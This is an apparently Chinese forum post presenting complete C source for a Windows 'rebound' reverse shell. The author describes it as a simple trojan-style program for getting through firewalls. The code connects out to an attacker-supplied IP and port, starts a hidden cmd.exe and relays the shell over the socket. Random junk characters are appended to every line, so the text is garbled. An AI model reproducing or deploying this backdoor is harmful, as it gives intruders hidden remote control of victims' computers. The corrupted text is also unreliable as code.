这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 BxlpI[yWq
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/* ============================== Z#MPlw0B
Rebound port in Windows NT kXv
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By wind,2006/7 dIMs{!
===============================*/ tUL(1:-C
#include N2=gSEY
#include "l2_7ZXsPT
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#pragma comment(lib,"wsock32.lib") #%B1,.A
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void OutputShell(); kLADd"C
SOCKET sClient; 6BNOF66kH
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 980[]&(
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void main(int argc,char **argv) q<.^DO~$L
{ E #8 `X
WSADATA stWsaData; *#dXW\8qu
int nRet; Pgs4/
SOCKADDR_IN stSaiClient,stSaiServer; GS \-
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if(argc != 3) 0.bmVN<
{ e,|"9OK
printf("Useage:\n\rRebound DestIP DestPort\n"); Yq3(,
return; \Qz>us=G
} LKftNSkg"
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WSAStartup(MAKEWORD(2,2),&stWsaData); Vad(PS0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nEyPNm)
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stSaiClient.sin_family = AF_INET; q1`uS^3`
stSaiClient.sin_port = htons(0); Xq+7l5LP
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'xvV;bi
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $A8eMJEpL
{ Vr`UF0_3q
printf("Bind Socket Failed!\n"); y @h^
return; j+PW9>Uh
} 24>{T5E
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stSaiServer.sin_family = AF_INET; nakhepLN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kVe}_[{m
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u,4,s[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !V7VM_}@Y
{ ~)Ny8Dh
printf("Connect Error!"); GVCyVt[!-
return; <@(HQuL#
} pcoJ\&&W
OutputShell(); Jel%1'Dc^
} |#f
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void OutputShell() x!]ZVl]
{ jKM-(s!(
char szBuff[1024]; *M6M'>Tin
SECURITY_ATTRIBUTES stSecurityAttributes; ^5QSV\X
OSVERSIONINFO stOsversionInfo; 4,wdIdSm4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s[8<@I*u
STARTUPINFO stStartupInfo; d\'M ~VQ
char *szShell; 0JKbp*H
PROCESS_INFORMATION stProcessInformation; H2p1gb#
unsigned long lBytesRead; ([`-*Hy
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hg*6I%D[So
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6n45]?
stSecurityAttributes.lpSecurityDescriptor = 0; ,Es5PmV@$%
stSecurityAttributes.bInheritHandle = TRUE; 2gg5:9
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T[~ak"M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !N?|[n1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .'L@$]!G
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^h4Q2Mv o
stStartupInfo.wShowWindow = SW_HIDE; \7jcZ~FBX%
stStartupInfo.hStdInput = hReadPipe; )I$_wB!UV
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &*T57tE
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GetVersionEx(&stOsversionInfo); rM_8piD
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switch(stOsversionInfo.dwPlatformId) 3:dQN;=
{ y[.0L!C {
case 1: $ [M8G
szShell = "command.com"; 'FO^VJ;ha
break; E.}T.St
default: i[T!{<
szShell = "cmd.exe"; OI::0KOv
break; $l 0^2o=
} NcB^qv
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ceyZ4M
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send(sClient,szMsg,77,0); xud =(HLl
while(1) {UvZ
{ _u]Wr%D@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V`G)8?% Vy
if(lBytesRead) }+,1G!?z
{ `:R8~>p
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X3<<f`X
send(sClient,szBuff,lBytesRead,0); $:{uF#
} 6psK2d0
else bCy.S.`jHQ
{ -jFvDf,M,D
lBytesRead=recv(sClient,szBuff,1024,0); m7cp0+Peo
if(lBytesRead<=0) break; 9p9:nx\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NcwZ_*sqj
} ;[uJ~7e3
} 4$@5PS#,
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return; @m<xpel
}